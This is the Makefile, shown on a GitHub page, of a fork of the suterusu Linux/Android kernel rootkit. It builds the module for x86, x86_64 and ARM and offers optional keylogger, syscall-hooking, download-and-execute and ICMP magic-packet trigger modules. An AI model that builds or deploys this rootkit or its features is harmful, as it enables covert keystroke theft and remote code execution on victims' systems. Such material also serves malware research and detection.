forked from mncoppola/suterusu
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Makefile
77 lines (69 loc) · 1.8 KB
/
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
obj-m += suterusu.o
suterusu-objs := main.o util.o
ifdef KEYLOGGER
suterusu-objs += keylogger.o
MODULES += -D_CONFIG_KEYLOGGER_
ifdef UNLOCK
MODULES += -D_CONFIG_UNLOCK_
endif
endif
ifdef HOOKRW
suterusu-objs += hookrw.o
MODULES += -D_CONFIG_HOOKRW_
endif
ifdef DLEXEC
suterusu-objs += dlexec.o
MODULES += -D_CONFIG_DLEXEC_
ifdef ICMP
suterusu-objs += icmp.o
MODULES += -D_CONFIG_ICMP_
endif
endif
default:
@echo "To build Suterusu:"
@echo " make TARGET KDIR=/path/to/kernel"
@echo
@echo "To build with additional modules:"
@echo " make TARGET KDIR=/path/to/kernel MODULE1=y MODULE2=y..."
@echo
@echo "To cross-compile:"
@echo " make TARGET CROSS_COMPILE=arm-linux-androideabi- KDIR=/path/to/kernel"
@echo
@echo "To clean the build dir:"
@echo " make clean KDIR=/path/to/kernel"
@echo
@echo "Supported targets:"
@echo "linux-x86 Linux, x86"
@echo "linux-x86_64 Linux, x86_64"
@echo "android-arm Android Linux, ARM"
@echo
@echo "Supported modules:"
@echo "KEYLOGGER Monitor keystrokes"
@echo " UNLOCK Unlock the screen upon given key sequence"
@echo "HOOKRW Hook sys_read and sys_write"
@echo "DLEXEC Download & execute a binary upon event"
@echo " ICMP Monitor inbound ICMP for magic packet"
linux-x86:
ifndef KDIR
@echo "Must provide KDIR!"
@exit 1
endif
$(MAKE) ARCH=x86 EXTRA_CFLAGS="-D_CONFIG_X86_ ${MODULES}" -C $(KDIR) M=$(PWD) modules
linux-x86_64:
ifndef KDIR
@echo "Must provide KDIR!"
@exit 1
endif
$(MAKE) ARCH=x86_64 EXTRA_CFLAGS="-D_CONFIG_X86_64_ ${MODULES}" -C $(KDIR) M=$(PWD) modules
android-arm:
ifndef KDIR
@echo "Must provide KDIR!"
@exit 1
endif
$(MAKE) ARCH=arm EXTRA_CFLAGS="-D_CONFIG_ARM_ -fno-pic ${MODULES}" -C $(KDIR) M=$(PWD) modules
clean:
ifndef KDIR
@echo "Must provide KDIR!"
@exit 1
endif
$(MAKE) -C $(KDIR) M=$(PWD) clean